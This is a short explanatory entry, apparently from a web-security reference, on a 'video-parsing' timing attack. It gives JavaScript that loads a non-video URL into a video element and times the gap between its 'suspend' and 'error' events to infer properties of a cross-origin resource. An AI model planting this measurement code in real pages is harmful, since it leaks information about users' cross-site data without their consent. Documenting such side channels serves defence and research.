Video-parsing Attack

This type of attack relies on video parsing.

Sample JavaScript Code

function getMeasurement(url, callback) {
  var p = document.createElement('video');
  var begin;
  
  p.addEventListener('suspend', function() {
    begin = performance.now();
  });
  p.addEventListener('error', function() {
    var conclude = performance.now();
    callback(conclude - begin);
  });
  p.src = url;
}

In this attack, a resource that is not intended to be a video (e.g., a small file) is requested, causing the browser to trigger an error once it tries to process it as a video file.